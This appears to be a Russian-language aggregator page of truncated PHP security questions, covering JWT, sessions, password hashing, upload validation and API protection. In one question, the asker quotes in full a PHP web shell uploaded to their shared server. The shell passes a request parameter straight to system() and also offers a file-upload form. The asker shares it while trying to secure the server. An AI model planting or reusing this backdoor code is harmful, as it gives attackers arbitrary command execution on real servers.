Articles of безопасность

Лучший способ реализовать JWT?

Я создаю аутентификацию JWT, и у меня есть некоторые сомнения: для повышения безопасности, может быть хорошей идеей сохранить в базе данных токен пользователя и проверить, каждый раз, если токен, отправленный API, совпадает с тем, который был сохранен в базе данных? Это действительно полезно? чтобы избежать сохранения информации о пользователе в сеансе, хорошая идея ставит электронную […]

Как включить файл php.ini для всех каталогов / подкаталогов моего сервера?

Несколько недель назад я открыл отверстие на моем общем сервере, и мой друг загрузил следующий скрипт PHP: <?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> <?php if(isset($_REQUEST['upload'])) { echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="5120000" /> Send this file: <input name="userfile" type="file" /> To here: <input type="text" […]

Только для определенных веб-сайтов доступ к API PHP

В настоящее время я столкнулся с проблемой защиты API, который мои клиенты используют на своих сайтах. Однако из-за того, что этот API вызывается JavaScript, мне сложно найти способ разрешить им доступ к API / URL. Итак, как я могу это сделать? Как я могу разрешить доступ к этим ссылкам. Очевидно, что ссылки могут быть скомпрометированы, […]

Подлинность загруженных файлов PDF

Мой сервер должен принимать только файлы PDF. Я использую php для загрузки файлов. В настоящее время я проверяю, начинается ли файл с% PDF, чтобы файл загружался в файл pdf. Существуют ли другие проверки, чтобы обеспечить 100% (или, по крайней мере, очень сильно), что это файл в формате pdf. Могут ли вредоносные пользователи загружать исполняемые файлы, […]

Следует ли проверять серверную сторону, если вы проверяете клиентскую сторону?

Я также должен добавить, что я задаю вопрос с расширением mysql . Я знаю, что следует использовать mysqli или PDO . Если я использую проверку jQuery для проверки на стороне клиента (например, по электронной почте), должен ли я также делать это на стороне сервера (убедитесь, что он не пуст и является действительным адресом электронной почты)? […]

Как сделать $ _GET более безопасным?

Я использую метод get, чтобы выполнить некоторую операцию, например, одобрить, markasspam, delete, для системы комментариев. Я знаю, что очень небезопасно идти этим путем, но я не могу помочь. потому что причиной использования метода $ _GET является выполнение операции внутри самой страницы с помощью PHP_SELF, а FYI я использую метод post, используя флажок для выполнения операции. […]

Как создавать и хранить хэши паролей с помощью Blowfish в PHP

1) Как создать безопасные хэши Blowfish с паролями crypt ()? $hash = crypt('somePassword', '$2a$07$nGYCCmhrzjrgdcxjH$'); 1a) Каково значение «$ 2a»? Означает ли это, что следует использовать алгоритм Blowfish? 1b) В чем смысл «$ 07»? Повышает ли значение более безопасный хеш? 1c) Каково значение «$ nGYCCmhrzjrgdcxjH $»? Это соль, которая будет использоваться? Должно ли это быть случайным […]

Безопасность сеанса PHP

Каковы некоторые рекомендации по обеспечению ответственной безопасности сеанса с помощью PHP? Там есть информация по всему Интернету, и пришло время, когда все приземлилось в одном месте!

Безопасные и гибкие междоменные сеансы

У меня возникла проблема, на которую, надеюсь, вы сможете помочь. Предположим, я работаю для гипотетической компании под названием «Blammo», и у нас есть гипотетический продукт под названием «Log». Я пытаюсь создать систему, в которой кто-то может войти в logfromblammo.com и заказать некоторые из наших продуктов, а затем, когда они будут готовы купить, перейдите на checkout.blammo.com, […]

Почему это хорошо сохранить для сохранения сеансов в базе данных?

Я видел, что у codeigniter есть возможность сохранять значения сеанса в базе данных. Он говорит, что сохранение сессии в базе данных является хорошей практикой безопасности. Но я думаю, что сохранение информации сеанса в базе данных помогает повысить производительность. Они сохраняют только несколько элементов сеанса, например: CREATE TABLE IF NOT EXISTS 'ci_sessions' ( session_id varchar(40) DEFAULT […]